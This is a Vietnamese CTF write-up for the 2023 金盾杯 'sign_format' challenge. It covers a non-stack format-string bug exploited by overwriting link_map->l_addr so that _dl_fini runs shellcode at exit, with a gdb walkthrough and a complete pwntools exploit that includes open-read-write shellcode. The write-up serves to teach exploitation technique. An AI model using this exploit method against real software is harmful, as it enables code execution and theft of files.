1. Kỹ Thuật Chiếm Hủy .fini_array
Tuần trước mình đã tham gia giải đấu 金盾杯, đây là lần đầu tiên mình làm bài toán về lỗ hổng chuỗi định dạng không nằm trên stack. Trước đây mình chỉ từng đọc qua một chút trên ctfwiki. Trong quá trình làm, mình đã học được nhiều điều và giải được bài này trong giờ cuối cùng, cảm giác rất tuyệt. Dựa vào bài toán 金盾杯 làm ví dụ
1.1 金盾杯 2023 - sign_format
Giới thiệu bài toán: Một bài toán về lỗ hổng chuỗi định dạng không nằm trên stack, thông qua việc sửa đổi giá trị offset trong mảng dl_fini, làm cho hàm thực thi shellcode được viết trong đoạn bss khi thoát ra.
Phân tích cơ chế bảo vệ: Bài toán không bật PIE, các cơ chế bảo vệ khác đều được bật. Ngoài ra còn bật sandbox, cần kỹ thuật ORW.
Luồng xử lý chính của bài toán:
__int64 __fastcall main(int a1, char **a2, char **a3)
{
sub_40135D();
puts("Welcome here!");
puts("It's a simple sign-in question.");
puts("Let's start!");
close(1);
read(0, format, 0x100uLL);
printf(format);
return 0LL;
}
Có một đầu vào dài, sau đó là lỗ hổng chuỗi định dạng, nhưng đã tắt luồng đầu ra tiêu chuẩn.
Trong đó, biến format được lưu trên đoạn bss, do đó không thể sửa địa chỉ trả về nữa. Với lỗ hổng chuỗi định dạng không nằm trên stack, chúng ta không thể thực hiện ghi địa chỉ bất kỳ thông qua việc truy cập địa chỉ nằm trên stack. Hơn nữa không thể kiểm soát được địa chỉ trả về.
Xem xét sử dụng kỹ thuật chiếm hủy .fini_array
1.2 Chiếm Hủy .fini_array
Chức năng thực hiện: Khi thực thi hàm exit, thực thi chương trình ở bất kỳ địa chỉ nào
Điều kiện cần có: Cần sửa đổi một giá trị nằm trong đoạn ld.so. Đoán rằng giá trị này sẽ còn lại trên stack trong quá trình liên động động (có thể chưa chắc chắn)
1.2.1 Phân tích Nguyên lý
Dưới đây là luồng thực thi của chương trình:
Theo sơ đồ luồng trên, khi hàm thoát ra sẽ gọi hàm exit, nếu chúng ta kiểm soát được tham số finiarray của hàm exit, có thể thực thi mã bất kỳ, chúng ta hãy phân tích cụ thể hơn về tham số finiarray này là gì:
1.2.2 Hàm dl_fini
Khi hàm exit thực thi sẽ gọi hàm dl_fini.
Ban đầu l->l_addr bằng 0, con trỏ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr trỏ đến địa chỉ của đoạn fini_array trong chương trình, tức là giá trị của l->l_info[DT_FINI_ARRAY]->d_un.d_ptr là 0x0000000000403D98
Nếu chúng ta có thể kiểm soát con trỏ linkmap->l_addr, có thể dịch chuyển chương trình đến vị trí chúng ta viết, thực thi shellcode. Lưu ý ở đây lưu trữ một địa chỉ chương trình: 0x401200, do đó khi chúng ta giả mạo l_addr, hãy thay đổi giá trị sau khi dịch chuyển thành địa chỉ của shellcode.
Vậy làm thế nào để kiểm soát l_addr thông qua chuỗi định dạng? Điều này cần sử dụng một con trỏ trên ld.so còn lại trên stack
1.3 Phân tích Tích hợp Sử dụng Quá trình với gdb
Đầu tiên, sau khi hàm main thực thi xong sẽ nhảy đến hàm exit để thực thi:
Sau đó chúng ta bước vào hàm exit:
Có thể thấy hàm exit sẽ gọi một hàm có tên __run_exit_handlers Tiếp tục bước vào, cho đến khi hàm này gọi hàm __dl_fini, sau đó hàm dl_fini sẽ thực thi gọi địa chỉ rax:
Xem cụ thể địa chỉ rax là 0x40406b, trỏ đến 0x404073, thực ra đây đã bị chúng ta sửa đổi. Ban đầu rax phải là 0x0403D98 -> 0x401200, ban đầu sẽ thực thi đoạn mã này:
Hàm dl_fini:
Khi chúng ta đã sửa đổi l_addr, array[i] có thể được kiểm soát.
Chúng ta chỉ cần tính 0x40406B - 0x403D98 = 723 là biết chúng ta nên thay đổi l_addr thành bao nhiêu. Vậy chúng ta sửa giá trị này như thế nào?
1.4 Sửa đổi l->l_addr trong ElfW để chiếm hữu fini_array thực thi
Như đã nói ở trên, trên stack có một địa chỉ của ld.so còn lại, đoán là còn lại trong quá trình liên động động, tương ứng với bài toán này:
Đó chính là địa chỉ màu hồng có kết thúc bằng 0x2e0. Giá trị lưu trong đó là 0x2d3 chính là 723, đây là sau khi thực hiện lỗ hổng chuỗi định dạng, đã bị chúng ta sửa đổi. Ban đầu trong đó phải lưu giá trị 0, tương ứng với l->l_addr = 0
Cụ thể trong hàm dl_fini:
Thực hiện add rax,qword ptr [r15], r15 lúc này lưu chính là dữ liệu ld.so lưu trên stack, chỉ cần sử dụng lỗ hổng chuỗi định dạng để sửa đổi giá trị lưu trong địa chỉ ld.so này, có thể kiểm soát cho giá trị lưu trong rax từ 0x401200+0x0 thành địa chỉ shellcode chúng ta muốn thực thi.
Đây chính là tương ứng với l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr, từ đó làm cho fini_array bị chiếm hữu.
Còn sửa thành số cụ thể nào, chúng ta đã tính ở trên: 0x40406B - 0x403D98 = 723
Tiếp theo chỉ cần tìm offset chuỗi định dạng của địa chỉ ld.so này,然后将其中存放的数据从0修改为723即可.
Chèn thêm một chút
Trong quá trình thực hiện dl_fini có vài bước giá trị của rax là 0x403e00:
Đây thực ra là địa chỉ của đoạn .dynamic, lưu trữ bảng thông tin cho các hàm liên động động, hoặc các địa chỉ khác. Cần xem giá trị cụ thể:
Cấu trúc như sau:
typedef struct{
ELF64_Sxword d_tag;
union{
ELF64_Xword d_val;
ELF64_Addr d_ptr;
}d_un;
}ELF64_Dyn;
Cấu trúc này dựa vào giá trị cụ thể của d_tag đầu tiên để chọn giá trị thứ hai dùng để làm gì.
Ở đây có lẽ là để tìm offset của dl_fini.
Các bạn đã học qua ret2dlresolve chắc quen thuộc với điều này
Quay lại nội dung chính
1.4 Mã khai thác
from ctypes import *
from pwn import *
banary = "/home/giantbranch/PWN/question/City/jindun/2023/pwn1"
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF(banary)
# libc = ELF("/home/giantbranch/PWN/libc/libc.so.6")
# libc=ELF("/home/giantbranch/PWN/libc/libc6_2.27-3ubuntu1.5_amd64.so")
ip = '123.56.237.147'
port = 47726
local = 1
if local:
io = process(banary)
else:
io = remote(ip, port)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')
def dbg():
gdb.attach(io)
pause()
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
main_read = 0x0040144A
bss = 0x0404060
fini_array = 0x403d90 #0x403d98 - 0x403da0 .fini_array
# array[0]->__do_global_dtors_aux
# array[1]->fini
# payload = b"%"+b"240c%21$hhn"
# payload = b"%"+b"584c%34$hn"
#0x403fe0
# payload = b"%"+b"723c%34$hn"
payload = b"%"+b"723c%34$hn"
payload2= """
push 0x67616c66
push 0x2
pop rax
mov rdi,rsp
xor rsi,rsi
syscall
mov rdi,rax
xor rax,rax
mov rsi,0x404200
push 0x30
pop rdx
syscall
push 0x1
pop rax
push 0x2
pop rdi
mov rsi,0x404200
push 0x30
pop rdx
syscall
"""
print(len(payload))
payload = payload + p64(0x40406b+8)+ asm(payload2)
print(len(payload))
dbg()
sl(payload)
ia()
Cuối cùng, tham khảo blog trong thời gian thi đấu: Có thể coi đây là cơ hội để mình học kỹ thuật về lỗ hổng chuỗi định dạng không nằm trên stack. Bài giải thích về lỗ hổng chuỗi định dạng không nằm trên stack: Kỹ thuật khai thác lỗ hổng chuỗi định dạng không nằm trên stack
Bài giải thích về chiếm hủy dl_fini: BUUCTF_de1ctf_2019_unprintable de1ctf_2019_unprintable(_dl_fini的l_addr劫持妙用)